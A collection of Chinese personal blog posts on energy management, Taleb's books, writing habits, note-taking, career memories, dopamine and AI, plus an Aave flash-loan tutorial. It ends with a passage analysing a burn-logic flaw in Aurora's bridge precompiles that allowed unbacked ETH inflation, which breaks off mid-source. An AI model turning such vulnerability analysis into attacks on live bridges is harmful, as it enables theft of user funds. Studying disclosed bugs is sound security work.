• Balance:基于BodyBattery的精力管理

    以前一直认为时间最宝贵,现在来看,大家都是三万天,精力的多少和分配使用才是最难的

    先说结论,在保证基础作息的前提下,抛开时间管理,围绕精力分配来构建工作、运动、学习的权重,可以更有效的实现生活的平衡。

    精力量化

    一天有24小时,一年有365天,时间是最容易量化的,但是也是最不可控的,太容易被突发事件扰乱(咪咪突然过来黏着要陪她玩

    而对于精力,之前一直靠主观判断,太容易出现误判(躺在沙发上玩手机时,会感觉越来越困,这时候可能觉得自己已经耗尽了,而事实是,只要坐到书桌前,精力还有一大截

    那么如何量化精力呢,这也是个偶然,上次肺炎出院后,为了实时监控自己的血氧、心跳等数据,把iwatch换成了徒步用的fenix,在全天佩戴过程中,发现“身体电量”的曲线和自己一整天的状态正相关,包括压力水平等,然后观察了很长一段时间,结论就是非常准确

    图片

    举几个例子

    正常工作的一天(8点起床然后高压力的工作到12点吃饭,下午的工作压力看起来就没有那么高,睡眠充的电量一天结束正好用完,会感觉到这一天没有太累

    图片

    而这个图,是前段时间鼻炎发作低烧的时候,全天高压力,脑壳隐隐作痛,失眠(这天没记错的话是去公司了,虽然主观上感觉还可以,但是身体其实已经持续在告警了

    图片

    下边这两张图就很有意思了

    这张是鼻炎发作的原因,从下午一点打羽毛球干到了六点,身体电量直接干没,虽然中间有段时间没戴,但也可以看出,身体已经告警了,睡前电量也基本归零了,但是这时候主观上还没什么感觉,所以再次证明主观的精力判断是容易出现错误的

    图片

    而这张图,是康复的状态,在凌晨4点,免疫力终于战胜了鼻炎,安稳的睡到了8点,但是由于睡眠时间不足,这一整天也是处于低效的状态

    图片

    从上边几张图可以看到,身体电量的波动和精力的储备是强相关的,通过这个功能便可以实现精力的量化(数据量化的重要性·_·

    精力上限

    虽然身体电量的总分是100,但是这是一个百分比,而身体电池的容量/精力是可以提升的

    我是外胚型体质,一旦不运动,就会快速的瘦下去,即使补充营养也不能有效吸收,只有持续的锻炼才可以吸收营养涨几斤肉(远远难于减肥

    了解我的朋友们应该都知道,虽然一直这么瘦,但是锻炼断断续续的一直在做,各种运动也不断的尝试,主要的原因还是一旦停一段时间,身体精力就扛不住,每天班还没上完,就已经完全耗尽了

    而在恢复锻炼后,只需要几天,就会精力比较充沛

    再一个提升精力的方式是作息

    也不知道是年纪大了还是咋了,自打出院后,每天早上八点多就就醒了,而在半年前,睡到十点一整天都还困

    现在起床时间固定了,所以为了充足的睡眠,就要让自己尽可能12点前躺下,固定的睡眠时间和固定的睡眠时长,在养成习惯后,即使这几天降温也能比较清醒的从被窝里钻出来

    还有一个题外话,少吃外卖,多吃食堂或自己做饭,吃了一年多食堂和自己做饭后,之前体验的各项异常指标基本清零了,每天几升水,也把五六百的尿酸降到了正常值附近

    身体健康>赚钱/亏钱

    精力分配

    不建议太卷,飘风不终朝,骤雨不终日,天地尚不能久,而况于人乎?

    这次就先不啰嗦了,下次写写“三个八小时”的Work Life Balance实践

  • “草台班子”世界的生存指南:在随机生活中漫舞

    乔布斯曾说过,这个世界的规则都是由一群并不一定比你聪明的人创造的

    这样的一个“草台班子”所带来的就是我们现在所处的无比脆弱的世界,频繁发生着匪夷所思的事情,经济危机随时会来、战争一触即发

    在这样一个随机的世界,我们该如何在其中漫步呢

    一口气读完了塔勒布的金融理论三部曲《反脆弱性》《黑天鹅》《随机漫步的傻瓜》(基本上不怎么读现在的畅销书的,真正的真理是需要经过时间检验的

    “杀不死我的使我更强大,杀死我的使别人更强大”,因为这句话,让我掀开了《反脆弱》看看为什么,然后便停不下来了

    这三本书里充满了各种例子,读起来很涩,其中要表达的内核在我看来其实就是三个看待这个世界的视角

    在阅读这几本书的过程中,试着用这三个视角观察当前的生活和之前的经历,有一种豁然开朗、世界仿佛变清晰了的感觉,甚至是连困惑许久的“伴侣的意义”都带来了些许答案

    反脆弱视角

    脆弱的对面不是强韧,而是”反脆弱“(作者自己造的词

    反脆弱的定义,应对波动和不确定性所来损失的脆弱,减少损失甚至从中获益

    最核心的点在于从中获益,如果在遭受损失时能否复原,那只能称之为强韧

    最容易理解的例子就是锻炼,肌肉撕裂再恢复是增肌的必然过程,这个过程被称为有机体的过度反应,再或者经历挫折后奋发图强逆袭的种种,都在此列

    这类可以称为“个体反脆弱”,杀不死我的使我更强大

    追求稳定是人的本能,但是过于追求稳定可能适得其反

    与之相伴的还有“群体反脆弱”,处于这个世界中,我们不可避免的处于各种体系当中,国家、经济等等,这其中有许多角色可以通过一些行为影响大规模的人,我们称他们为“脆弱推手”

    “脆弱推手”里有想办好事的,想让社会更稳定,也有想为自己谋利的,将脆弱性风险转嫁到群众身上,拿群体的脆弱性下注(这部分不展开讨论

    前边说到这个世界是脆弱且不稳定的,那在其中过于追求稳定的后果是什么呢

    父母从小对子女的万般宠溺,可能会使其丧失独立生存的能力,变成脆弱的个体;大A不允许做空,真的利于市场的正常健康发展吗?

    既然知道了什么是反脆弱,对于我们个体来说,最重要的是拥有反脆弱

    站在脆弱的对立面,也就拥有了反脆弱

    查理芒格:“我无法告诉你们如何才能得到幸福,但能够根据个人经验,告诉你们如何保证自己过上痛苦的生活。然后他又说,只要你知道哪些东西会保证你过上痛苦的生活,只要小心避开他们,你就可以获得想要的成功与幸福了。”(前提是要用反脆弱的视角来判断,哪些会让你过上痛苦的生活

    收益有限,风险无限,是脆弱的

    坏结果影响比好结果影响大,是脆弱的

    没有选择性与多样可选择性相比,是脆弱的

    观光化生活vs漫步型生活

    观光化生活是指按照一定的流程步骤,按部就班的前进,比如考个好高中、上个好大学、找个好工作、谈个好老婆、生个大胖小子…..不能说不好吧,但是生活也太平淡了点

    漫步型生活是认识到生活是充满随机的,对未来充满不确定,不断的学习新的知识,提高自己低于不确定性风险的能力,拥抱不确定性,真正的舒适,是爱上突破的过程

    反脆弱的伴侣关系

    人越长大,对世界的不确定性感触越深时,就越容易感到孤独,一个人面对来自外界的狂风暴雨,很容易感到脆弱。这种时候,就特别需要一个柔软的倾诉之地,可以包裹和接纳自己脆弱感性的那一面

    伴侣关系的作用便体现于此,一直以为,互相支撑着对方的生活才是交往的本质,互相照亮,互相成全,推动对方实现自我人生价值,让脆弱的双方在在一起后成为反脆弱

    如果伴侣或者婚姻,使双方变得更加脆弱,抵御风险的能力降低、内耗增加,那便会让彼此更加脆弱,这样的关系要尽量避免,不要也罢。(建议团队内的不婚主义们熟读此章节

    黑天鹅视角

    历史从不爬行,只会跳跃

    我们的世界是由极端、未知和非常不可能发生的(以我们现有的知识而言非常不可能发生的)事物所主导的,而我们却一直把时间花在讨论琐碎的事情上,只关注已知和重复发生的事物

    作者又创造了两个词,Mediocristan(平均斯坦)和Extremistan(极端斯坦)

    在理想的平均斯坦,特定事件的单独影响很小,只有群体影响才大;在极端斯坦,个体能够对整体产生不成比例的影响。极端斯坦能够制造黑天鹅现象,少数事件已经对历史产生了巨大影响

    黑天鹅几乎每个人都理解,不需要过多的去解释,而是要关心黑天鹅的出现带给我们的启示是什么

    1. 归纳法是不可信的
    2. 数据的增长和知识的增长是不成比例的,过去与过去的未来 不等于 现在与现在的未来
    3. 黑天鹅与知识储备有关(在火鸡与农夫的故事中,火鸡认为是偶发事件,农夫认为是必然事件
      整本书我认为最核心的观念在于对工作的理解和提出的杠铃策略

    职业

    不具突破性的职业vs具有突破性的职业(成功的时候才有意义

    如果全部选择了不具突破性的职业,那就等于抛弃了人生的大机遇的可能 == 平凡将是唯一的答案

    杠铃策略

    非对称风险,让自己置身于好结果比坏结果影响大的多的局面,多次小失败不会打败你,一次小成功可以成就你(和脆弱性有点类似

    在黑天鹅的世界里,没有人是安全的,相反也是,没有人是一定会失败的

    随机性视角

    承认随机性是普遍存在的,接受随机性事件,学会保护自己,甚至从中获利,而不是成为一个被随机性愚弄的傻瓜

    关于随机性和脆弱性在上边有反复提到了,下边总结下作者认为应该如何做才能在随机中跳舞

    怎样才算一个成功的投资者

    小概率事件随时会来,在市场上活下来是最重要的

    相信随机性,避免犯下重大错误,在市场上活到最后的投资者

    充满随机性的市场常见的陷阱有哪些

    1. 幸存者偏差

    2. 误解因果关系

    3. 忽视偏态问题(概率分布不对称,黑天鹅事件,如果失败的代价过于惨重,那么成功的概率无论多高都无关紧要

    如何避开陷阱,不被随机性愚弄

    1. 避免路径依赖(避免被过去的经验或者自己的预设立场影响

    2. 屏蔽噪声(减少频繁操作、少看新闻报纸、多和有经验的人交流

    3. 设置止损点(及时止损,认赔出局

    4. 利用黑天鹅

    最后的最后

    不管在任何情况下,都应拥有知道该如何生存下去的状态,命运女神唯一不能掌握的是你的行为

  • 表达欲不见了

    这遍文字在很久之前就想写一写,但不幸的是,表达欲它转身走开了,也就搁置了
    现在你们能在这里看到这篇文字,说明我正在努力的寻找它回来
    好像不只有它,还有它们,许多和我一样不幸的人失去了它
    它们去了很远很远的地方,我要去找他们回来

    至于它为什么会离开,这就要说来话长了
    不知道从什么时候开始,我开始对它严格了
    每每它想要说话的时候,我就会质问它“分享这个的意义是什么呢”
    随着日子一天天的过,能力没咋提高,眼却一天天的高于顶
    总是在想,发这些东西有意义吗,够前沿吗,思考够深入吗,浅薄的如白纸,就像如这篇文字一样
    然后在心中将它毙掉
    它或许就在被我一次一次的毙掉过程中,心灰意冷
    转身而去

    其实从这个公众号发表的频率也能看出来(阶段性更新),我试着去找过它好多次
    这次也一样,希望它能原谅我

    那为什么又会重新提起笔写它的故事
    起因是一件小事,今天的英雄联盟半决赛
    看到shy哥再次进入决赛,我亏掉了10个币,突然有发一条朋友圈的冲动
    这时候我立马站出来质问它“这个有意思吗,难道你没有值得分享的更有意义的东西了吗”
    它转身就要离开,另一个我拦住了它
    这次我替你来讲这个故事

    记得在前些年,每次到S赛的尾程,朋友圈里相关的条目都刷新不完
    但是今年却几乎不见几个朋友发动态了
    难道说大家都已经不看S赛了吗,我想,或许只是大家在生活的担子下咩有分享的欲望了
    我lol打的很烂,对英雄的理解也垃圾,但是这并不影响从比赛之中获得快乐
    快乐是需要被分享的

    这还让我想到上周,和小伙伴们升级了羽毛球拍
    我和他们说,我要发个朋友圈“打的菜,玩的花”
    可最终也没有发出来

    (天斧100zz、弓剑11 pro、天斧88D)

    很羡慕那些可以一直更新动态/文章的朋友

    过去这一年,其实收获蛮多的,也有需要时候看到有趣的观点想分享,但是一次次的被我拦下了
    过去一年应该是读书最多的一年,三天打鱼两天晒网,也零零散散看了五十多本
    每天的思考、阅读的摘录也有几百条
    至于我为什么会用这种方式来思考,我想在这里就把它分享出来,作为这段文字的结尾
    (因为里面有些是摘录,就放到blog中了)

    在读完的《慢思考:大脑超载时代的思考学》中就表达了类似的观点
    专注输入,更要专注输出
    或者说,重要的不是输入多少,而是吸收了多少,而输出帮助吸收。
    我们所定义的“输出”很简单,就是把自己的知识和想法呈现出来。其目的是为了做思维的“刻意练习”,而在“刻意练习”中,完成比完美重要。

    这段文字,从开始写第一个字到现在这行,共用了35分钟
    在写下这个标题的时候,很艰难的在写前10行
    然后当进入到垃圾段的时候,便停不下来了

    那就到这结束吧
    希望我们都能找回它

  • 如何通过随笔来更好的思考

    每天都在接收大量的信息,工作、新闻、八卦、鸡汤、生活小知识、梦、生活片段、心情变化、奇思妙想…….

    但是这些信息,就像水一样,流过之后,仿佛什么都没有留下

    可能尝试过无数次记录,可能尝试过完美的分类,但是会发现将记录放在哪个分类里本身就是一件困难的事情;也可能尝试过什么分类都不做,然后一切变得乱糟糟,再也不想去打开历史的记录

    因为绝大多数的信息都是多维度的,没有清晰的界限,它可能既属于工作,也属于生活……

    一旦开始就把结构固定,那后续调整的成本会非常高,因为我们的知识、思考、心情等所构成的知识结构,就像是一棵树,是不断在生长的,所以我们可以先记录,打标签,让它慢慢生长,等积累一段时间后,结构自然就会“生长”出来。

    让系统能自然生长,随着认知变化而生长。而更关键的应该是,由问题驱动自己不断探索领域,然后通过不断地刻意练习,来在某个领域积累知识的复利。

    如何打标签?

    可以用I.A.R.P标签记录法的思路(适当的参考,用最顺手的方式,这样才不会有任何的阻力)

    • Inbox(收件箱):我会将所有临时性的,还未消化的内容放置于此,定期来进行归档、整理或者删除。可以当做大脑的缓存,避免记录的时候纠结放在哪里。

    • Area(领域):这是最重要的概念,即日常你需要精进的「领域」,比如健康就是一个领域,而跑步则是项目;写作是一个领域,而写一篇公众号文章则是一个项目;
    即你最关注的领域是什么。我们的一生中由许多事件构成。
    只是对于大多数人来说,他们其实并没有一个关于自己生活和工作的完整的项目清单。但是他们却会告诉你,有太多的事情要做。当这样忙忙碌碌多年以后,其实发现自己可能做了许多事,但是却「样样稀松」。

    • Resource(资源):对应到卢曼的 Zettelkasten 方法中,更像是永久笔记。一般来说是兴趣、主题、资产等内容。注意是自己消化过的内容,而非机械的收藏。

    • Project(项目):是指一个将要发生的独立事件,并且这个事件不是一次性就能完成的,至少需要多个动作才能完成。比如要写一本书,需要整理资料,罗列提纲,撰写内容,联系出版社。类似生活中还有组织一次旅游,录制一期播客等。

    记录什么?

    生活中有趣的事情、幸福感的瞬间、突然的感悟、不安的情绪等等:

    每一天,我们都丢失东西,在向前走的路上。将它们记录下来。
    记忆这东西是一种相当不可靠的物质,它就像一扇破败的窗户,落满灰尘,玻璃模糊不清,与窗框之间充满裂缝,稍微一碰,就可能稀碎一地。平时呢,伪装的又很好,像一大把棉花糖,看起来蓬松绵软,五颜六色,糖丝在阳光下还泛着莹光,但你一口咬下去,都是吃了个寂寞。
    

    记录读书笔记:

    一如《卡片笔记写作法》中所言,在记读书笔记的时候,尽量避免划线摘录,而是要用自己的话写出来,给自己看。不必担心词句的华丽与否,不必担心是否有所遗漏,这个过程就像是照镜子一样,应该关注的是自己的大脑对于内容的反射,这才是你思考的精华,而不是照搬书中的内容。
    

    对情绪进行复盘(冥想):

    在一件又一件日常琐事间疲于奔命时,人很容易遗失自我,丢弃初心。
    
    花一点时间记录心中所想,可以帮助你暂缓脚步,找回重心,重新连接内在自我。
    
    我们如此忙于填满所有的时间,以至于对于什么是平静和安定心灵,我们早已没了参照点。我们对“做事”上了瘾,甚至对“思考”都上了瘾。因此,刚开始平心静气地坐下来,会让我们觉得有点儿陌生。 —— 《十分钟冥想》
    
    其实我们并非是一个不断积累的个体,而是由一个个瞬间组成。当遇到一些事情的时候,我们并非所有的历史回忆和情绪会到场,而是那些最强烈的、印象最深的会提前抵达。如果没有这样的记录和反思,那么往往会被短期情绪所左右,而丧失了长期思考的能力。
    

    培养写作的能力:

    即使是最优秀的写作者,其实不断在练习的也是记录和写出自己灵感的能力。 
    
    一直觉得,每个人都可以成为好的写作者,都会有很多的灵感,区别只在于,你有没有把你的这些灵感记录下来。
    

    任何的所思所想:

    当自己有所思所想的时候,也建议记录在里面。
    一般有四个基本情绪:
    1)喜:快乐,开心,兴奋
    2)怒:生气,恼火,愤怒
    3)悲:难过,伤心,悲伤
    4)惧:担心,害怕,恐惧
    不要评判,这就是正念, 看见,不评判。只是记下来,记多了之后,改变可能就悄悄的发生了。
    

    我是如何记录的:

    好的工具flomo是非常好的,不过我更喜欢原生、多平台,可以随时打开的,所以会用备忘录的标签,基本已经养成习惯了(最新的系统更新加入了不同备忘录间的引用)
    
    有时候心情不好的时候,就慢慢翻之前的片段,能获得很多能量,这大概是这个东西带给我最大的收获
    

    记于2022.2.24

  • 五年陈

    朋友圈看到好多前同事晒五年陈的戒指

    些许恍惚

    如果没有离职,今天大概也拿到那枚戒指了

    记忆扑面而来

    掰着指头算算

    去离之间,也度过了五个春秋

    两年成长,三载磨砺,转瞬即逝

    这酒或许陈了吧,阿里味


    “在这里,没有人会主动给你具体的任务的”

    原话记不清,但是意思差不多,对我影响也是最大的

    目标或清晰或模糊,但大致方向是看的到的,中间的路怎么走,是需要自己去思考的

    起初很难,尝试性的做一些事情,一不小心就困到自我中心的幻境

    后来很爽,每一步都是在逼自己,站在全局的角度,站在做事的角度

    贯穿了几乎整个旅程

    从最开始去探索各种自动化工具、学习各种软硬技能,发现挖掘不同阶段的治理重心,一次次的调整优化团队分工,总结提炼出风险治理的方法论、团队的成长路径,等等

    几乎所有的任务都是自己给自己定的,结果也还不错


    “来这一趟,总要做成几件事吧”

    工作到底是要“工资”驱动还是“价值”驱动呢

    这是收获的第二句

    周末晚上和朋友们在洗脚时聊起来未来的打算

    面向“创造价值”还是“赚取金钱”呢

    这么多年过去了,大家的选择还是没变

    大概这也是现在都还是穷逼的的原因吧

    要做成事很难,需要“既要又要还要”,需要“过程”,更需要“结果”

    “做事”“成事”,或许只有经历过的才能理解


    “快乐工作,认真生活”

    这八个字,到现在还在悟,不知何时才能悟透

    最初选择留下,最主要的原因是因为当时的团队氛围

    来到这里,发现为什么会有这么融洽的氛围,遇到了很多“贵人”

    不是说他们帮了我什么,而是他们在那,就足够去学习了,直至今日,也只学点皮毛

  • AV Pro治好了我的电子ED

    不知道在多久以前,我发现自己ED了,当然是电子的(不过刚阳完,硬件还行不行说不准了),无论是游戏还是电子设备,都突然失去了兴趣。

    举几个例子,买了十几张NS游戏,可是几乎都没玩超过1小时,现在家里的两台电脑还分别是垃圾桶Mac Pro 2013和Mac mini 2012。

    生活中最简单能满足欲望获得快感的路突然就那么消失了,再也没有回来。

    但是,今天,看到了康复的可能,那就是AV Pro。

    非常震撼,仿佛从梦中走到现实,期待了非常非常久的一款产品,久到都对它在近几年发布不抱幻想,然而它就这么来了,而且完成度这么高,超预期的惊喜。

    现在已经非常宅,可以预想到,等它到手,估计就很难迈出家门了。

    Game、Sex…

    等到生态起来后,想想都能笑醒(不过Sex国区估计没戏,等一个越狱补丁)。

    没啥好说的了,首发,冲。

  • 本来无一物,何处惹尘埃

    除了存在于人类共同的想象之外,这个宇宙中根本没有神、没有国家、没有钱、没有人权、没有法律,也没有正义。不管是自由人/奴隶、白人/黑人、富人/穷人,都只是虚构的想象所建构出来的。国家、神祇、公司、金钱、意识形态——都是我们创造并相信的集体幻影,人类历史就是由它们统治的。

    人类几乎从出生到死亡都被种种虚构的故事和概念围绕,让他们以特定的方式思考,以特定的标准行事,想要特定的东西,也遵守特定的规范。就是这样,让数百万计的陌生人能遵照着这种人造而非天生的直觉,合作无间。这种人造的直觉就是“文化”。等到文化出现,就再也无法停止改变和发展,这些无法阻挡的变化,就成了我们说的“历史”。

    这个观点在过去半年里对我的世界观产生了强烈的冲击,甚至可以说是棒喝,从这一刻,那个问题有了答案。

    “我们存在的意义是什么?”

    要思考存在的意义,首先要知道我们是什么,我们什么都不是,我们和蚂蚁、老鼠、细菌、一草一木、世间万物都没有任何本质的区别,我们只是构成的一部分,只是宇宙的一粒尘埃。现在我们身边的一切,除了生物本能,其它一切都是虚构的,金钱、政权、阶级……所以抛去虚构的部分,我们存在的意义便是“存在”,存在便是我们存在的意义,仅此而已。

    (好了,以上的都是废话)

    本文其实真正想讨论的是,抛去虚构的一切,我们追求的到底是什么,是具象的物还是一种感觉?

    我们希望能富有、希望能成名、希望能青史留名、希望能帮助他人、希望子孙满堂……每个人都有自己想要拥有的东西,这一切,最终都是为了获得什么呢?

    是什么让我们“想要拥有、希望获得”呢?生物本能的一部分“多巴胺”(碳基躯壳、自私基因、内啡肽、睾酮、神经递质…..构成我们生物本能的物质太多,仅以此为例),因为它太重要又太有趣了。

    “拥有是无趣的,只有获得才更有趣”。

    多巴胺会给我们带来快乐,但不是因为“拥有”会快乐,而是“拥有”-“预期”=快乐,所以当我们“拥有”的时候,”预期“就等于“拥有”了,而我们想要继续获得快乐,就要拥有更多的“预期”,“满怀希望的旅途比到达目的地更快乐”。

    “一旦老鼠知道什么时候能得到食物,就没有惊喜了。但是如果你不定期扔下食物,让食物的出现一直成为惊喜,会怎么样呢?如果用人和短视频或者金钱分别代替老鼠和食物丸,会怎么样?”,为什么短视频会那么容易让我们不停的下一个,消磨掉大把的时间,因为当你期望下一个短视频更精彩时,但是索然无味时,多巴胺的激发速率就会快速下降,而这种感觉会我们感觉很糟糕,但是当某一个短视频非常精彩时,又会让多巴胺激增,获得超预期的“快乐”。但是在刷完短视频后,往往并不会感受到很快乐,因为往往我们想要的并不是我们喜欢的。欲望是多巴胺驱使的,下一个更好,而喜欢是内啡肽促进的,但是却难以触发,这就导致“生活中强烈的愉悦比强烈的欲望更罕见也更短暂”。

    另一个例子,尼古丁是一种非常规的毒品,因为它除了让你上瘾外,没有什么其他作用,但是在吸烟的时候,可以减轻渴望带来的不适感,渴望被满足,多巴胺进行奖赏,从而体验到快乐。
    所以,如果“多巴胺+科技+黄赌毒”将会多么可怕,更可怕的是它们早已无处不在,“擦边视频”就是最好的例子,更典型的还有“老虎机”,我愿称它为集心理学、生物学、统计学等跨领域的“完美”作品。

    人在生物本能面前脆弱的不堪一击,因为只有它是真实存在的。

    但是造物主是真正智慧的,魔鬼的降临也必然会带来天使的诞生,多巴胺的欲望对抗就由多巴胺自己了结,用“控制回路”来制衡”欲望回路“。

    “在控制回路中,多巴胺驱动的是控制环境,而不一定是环境中的人。多巴胺想要更多,但它不在乎它是如何得到的。无论道德还是不道德,控制还是顺从,对多巴胺而言都是一样的,只要它能使未来更好。”生物本能的一切都是为了生存和繁衍,多巴胺也不例外,当我们做成一件事时,提高了生存或繁衍的几率,多巴胺就会给我们一些奖赏,带来掌控的快感。

    “武力和欺诈”在生活中随处可见,因为多巴胺追求更多,而不是追求道德,对多巴胺来说,武力和欺诈只不过是达成目的的工具。

    当控制多巴胺很弱时,人们会去追求他们想要的东西而不考虑长期的后果。而在复杂的情况下,拥有“冷静头脑”的人,也就是多巴胺控制回路更强的人,能够抑制这种反应,做出更深思熟虑的选择,这些选择通常会带来更好的结果,也更利于生存和繁衍。
    “生活在一个抽象、虚幻、多巴胺驱动并且充满可能性的世界里是需要付出代价的,这种代价就是幸福。”

    而什么可以让我们获得幸福呢,“创造”是一个途径,因为它总是新的,但是我们却太少的投入到创造的事情当中了。

    让自己一直保持在“渴望-获得”的反馈中,就会一直获得幸福感,反馈的周期越长,带来的快乐反馈越强烈,所以我们真正追求的并不一定是那个具象的“终点”,而是“过程”,也即是“当下”。

    在过去半年里,陷入傻逼周期,以上就像是深坑上的垂下的一根藤蔓,平庸亦或疯狂。

  • FlashLoan的实现过程

    闪电贷主要由借贷方和放贷方两部分构成,放贷方部署放贷合约,借贷方部署借贷合约,通过借贷合约去调用放贷合约实现,大致流程如下图。

    这里我们使用aave https://docs.aave.com/developers/guides/flash-loans 的实现来跟踪一下flashloan的过程,代码如下,aave这里没有使用标准的IERC3156实现,但是只需要将POOL.flashLoanSimple带入flashLoan、executeOperation带入onFlashLoan即可,其它流程基本一致。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.10;

    import "https://github.com/aave/aave-v3-core/blob/master/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";
    import "https://github.com/aave/aave-v3-core/blob/master/contracts/interfaces/IPoolAddressesProvider.sol";
    import "https://github.com/aave/aave-v3-core/blob/master/contracts/dependencies/openzeppelin/contracts/IERC20.sol";


    contract SimpleFlashLoan is FlashLoanSimpleReceiverBase {
    address payable owner;

    constructor(address _addressProvider)
    FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_addressProvider))
    {
    }

    function fn_RequestFlashLoan(address _token, uint256 _amount) public {
    address receiverAddress = address(this);
    address asset = _token;
    uint256 amount = _amount;
    bytes memory params = "";
    uint16 referralCode = 0;

    POOL.flashLoanSimple(
    receiverAddress,
    asset,
    amount,
    params,
    referralCode
    );
    }


    /**
    This function is called after your contract has received the flash loaned amount
    */
    function executeOperation(
    address asset,
    uint256 amount,
    uint256 premium,
    address initiator,
    bytes calldata params
    ) external override returns (bool) {

    //Logic goes here

    uint256 totalAmount = amount + premium;
    IERC20(asset).approve(address(POOL), totalAmount);

    return true;
    }

    receive() external payable {}
    }

    首先部署在Remix上部署合约,这里用的是Polygon Munbai的测试环境,所以在文档https://docs.aave.com/developers/deployed-contracts/v3-testnet-addresses 中找到aave对应的测试合约地址0xeb7A892BB04A8f836bDEeBbf60897A7Af1Bf5d7F作为初始参数传入部署合约

    从上述的合约代码中可以看到,fn_RequestFlashLoan的入参分别是放贷地址以及借贷数量,同理,在aave的文档中找到usdc的金库地址0xe9DcE89B076BA6107Bb64EF30678efec11939234作为入参传入,发起借贷

    在一切顺利的情况下,fn_RequestFlashLoan中调用POOL.flashLoanSimple发起借贷,在POOL.flashLoanSimple中放款并回调executeOperation

    回调到借贷合约的executeOperation中后,执行预定的套利逻辑等一系列操作,然后返回状态通知executeFlashLoanSimple进行判断是否还款。

    参考:https://github.com/quiknode-labs/qn-guide-examples/tree/main/ethereum/aave-flash-loan

  • 未来已来,从智人到智能

    说来也巧,从ChatGPT3.5发布前后的差不多日子,我打开了人类简史这本书,到ChatGPT4发布的时候读完,这种感觉很奇妙,一边回顾着从智人到现代人类的7万年,一边经历着或许是人类的重大转折点,震撼、恐惧、担忧、期待的情绪轮番涌上心头。

    历史上的每一个时间点,都像是一个十字路口。虽然从过去到现在已经只剩单行道,但到未来却有无数岔路可走。其中某些路比较宽、比较平坦,路标比较明确,所以也是比较可能的选择。然而,历史有时候就是选了一些完全出人意料的道路。

    回望智人的过去,7万年前,“认知革命”让人类历史正式开启,从1万2千年前,“农业革命”逐渐加速了进化速度,而从500年前到现在,我们经历了“科学革命”,科学成了我们的信仰,而从现在到未来10年,我们将经历如何的Revolution,“肉体飞升”或是“精神永生”。

    我们真正应该认真对待的,是在于下一段历史改变不仅是关于科技和组织的改变,更是人类意识与身份认同的根本改变。这些改变触及的会是人类的本质,就连“人”的定义都有可能从此不同。我们还有多久时间?没有人真正知道。

    作者可能也难以置信,短短的几年之后,这个问题便有了答案,真正面临的难题也到来了。

    回到当下,现在的这些AI虽然足够震撼却不够颠覆,仍是基于过去500年的科学革命之上,但是仅仅这些,已足以彻底改变我们当前的生活方式,当我用10年前Mac Pro生成出第一张AI图像的时候,我知道,这场巨变,已经没有人可以阻止了。这个变化快的让我们难以追赶,虽然现在问ChatGpt“你的存在会让程序员失业吗”,它的回答是不会,确实不会,但是现在它已经让编程成为了门槛极低的技能,编程、影像创作、音乐创作和网络上的方方面面,都成为了每个人都可以触手可及的,70亿人参与的“智能进化”。

    人类几乎从出生到死亡都被种种虚构的故事和概念围绕,让他们以特定的方式思考,以特定的标准行事,想要特定的东西,也遵守特定的规范。就是这样,让数百万计的陌生人能遵照着这种人造而非天生的直觉,合作无间。这种人造的直觉就是“文化”。

    我不知道这个变化对于当前的工作有什么影响,也不想去讨论,因为这毫无意义,因为我们谁也无法预测接下来要发生的事情,但是可以确定的是,一切都将巨变。

    或许可以说我们正在天堂和地狱的岔路口,而我们还不知道自己会朝向哪一个方向。历史还没告诉我们该挑哪边,而只要发生某些巧合,往哪边走都不算意外。

    真正的“电驭”时代大幕开启了。

  • Aurora 跨链桥销毁逻辑错误导致无ETH膨胀漏洞

    Aurora EVM 最初由 NEAR 内部开发,是 NEAR 生态系统的官方 EVM。它实现了与以太坊协议的 1:1 体验,包括采用 ETH 作为基础货币。除了基本范围之外,EVM 还允许进行额外的预编译。此类预编译使 EVM 能够与 NEAR 生态系统的其余部分进行交互。其中包括exitToNear和exitToEthereum(只能通过 NEP-141 到 ERC-20 合约访问)。

    exitToNear、exitToEthereum预编译只能从 Aurora EVM 自部署的 NEP-141 映射 ERC-20 合约中调用。这些 ERC-20 合约是通过调用deploy_erc20_token函数来部署的。
    https://doc.aurora.dev/evm/precompiles

    其中Aurora EVM转移代币到Near或着以太坊是以下两个预编译地址:

    0xe9217bc70b7ed1f598ddd3199e80b093fa71124f
    将 ETH 或 NEP-141 映射的 ERC-20 代币作为 NEP-141 从 Aurora EVM 转移到 Near。

    0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab
    通过Rainbow Bridge将 ETH 或 NEP-141 映射的 ERC-20 代币从 Aurora EVM 转移到以太坊。

    当flag是0x0时,Eth transfer

    当flag是0x1时,Erc20 transfer

    转移Erc20比转移Eth时,多了一步销毁的动作,这里将是问题的关键。

    在上图代码转移Erc20代币前,会先销毁代币,逻辑上没有问题。接下来看下转移Eth时的逻辑。

    exitToNear、exitToEthereum预编译的作用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    impl ExitToNear {
    /// Exit to NEAR precompile address
    ///
    /// Address: `0xe9217bc70b7ed1f598ddd3199e80b093fa71124f`
    /// This address is computed as: `&keccak("exitToNear")[12..]`
    pub const ADDRESS: Address =
    super::make_address(0xe9217bc7, 0x0b7ed1f598ddd3199e80b093fa71124f);

    pub fn new(current_account_id: AccountId) -> Self {
    Self { current_account_id }
    }
    }

    ...

    impl Precompile for ExitToNear {

    ...

    let (nep141_address, args, exit_event) = match flag {
    0x0 => {
    // ETH transfer
    //
    // Input slice format:
    // recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens

    if let Ok(dest_account) = AccountId::try_from(input) {
    (
    current_account_id,
    // There is no way to inject json, given the encoding of both arguments
    // as decimal and valid account id respectively.
    format!(
    r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
    dest_account,
    context.apparent_value.as_u128()
    ),
